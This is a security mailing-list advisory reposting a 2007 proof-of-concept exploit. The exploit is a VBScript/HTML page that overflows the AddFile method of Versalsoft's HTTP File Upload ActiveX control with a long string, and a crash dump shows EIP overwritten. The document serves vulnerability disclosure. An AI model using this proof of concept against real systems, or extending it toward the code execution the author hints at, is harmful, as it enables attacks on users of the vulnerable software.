[EXPL] Versalsoft HTTP File Upload ActiveX 6.36 AddFile DoS (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Versalsoft HTTP File Upload ActiveX 6.36 AddFile DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

<http://www.uploadactivex.com/> Versalsoft HTTP File Upload ActiveX is
vulnerable to denial of service condition.

DETAILS

Exploit:
<span style="font: 14pt Courier New;"><p
align="center"><b>2007/05/07</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span
class="general1-symbol">-------------------------------------------------------------------------------------
<b>Versalsoft HTTP File Uploader (UFileUploaderD.dll) 'AddFile' method
Buffer Overflow</b>
url: http://en.versalsoft.com/
price: from $59.95 to $799.95

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer
7
Try only 1500 characters (or less) to see IE crash.
-------------------------------------------------------------------------------------

<object classid='clsid:28776DAD-5914-42A7-9139-8FD7C756BBDD' id='target'
style="width: 650px; height: 250px"></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to
start the test"> <input language=VBScript onclick=QuoteMe() type=button
value="Quoting...">

<script language='vbscript'>
Sub tryMe
on error resume next
arg1 = String (4000,"A")
target.AddFile arg1
End Sub

Sub QuoteMe
Dim MyMsg
MyMsg = MsgBox("I'm coming down with a fever" & vbCrLf & _
"I'm really out to sea" & vbCrLf & _
"This kettle is boiling over" & vbCrLf & _
"I think I'm a banana tree", 64, "2007/05/07 - Versalsoft
HTTP File Uploader")
End Sub
</script><b><font color="#FF0000">As you can see by the faultmon dump, EIP
is overwrite so code execution should
be possible... but I leave to posterity the hardest part of work :)</font
color></b>

11:40:51.172 pid=08E4 tid=0AB0 EXCEPTION (first-chance)

----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])

----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
ECX=FFFFFFFF: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EDX=0173E650: 00 00 00 00 41 41 41 41-D8 E8 73 01 FA 37 81
7C
ESP=0173E63C: F0 E8 73 01 95 E0 80 7C-50 E6 73 01 41 41 41
41
EBP=0173E658: D8 E8 73 01 FA 37 81 7C-41 41 41 41 A8 42 E7
02
ESI=7FFDABF8: 0A 00 0A 02 00 AC FD 7F-61 00 62 00 6F 00 75
00
EDI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EIP=7C9112B4: F2 AE F7 D1 81 F9 FF FF-00 00 76 05 B9 FF FF
00
--> REPNZ SCASB

----------------------------------------------------------------

11:40:51.172 pid=08E4 tid=0AB0 EXCEPTION (first-chance)

----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])

----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00
00
ESP=0173E26C: BF 37 91 7C 54 E3 73 01-84 F2 73 01 70 E3 73
01
EBP=0173E28C: 3C E3 73 01 8B 37 91 7C-54 E3 73 01 84 F2 73
01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ??
??
--> N/A

----------------------------------------------------------------
To be continued...</span></span>
</code></pre>


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3866>
http://www.milw0rm.com/exploits/3866



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages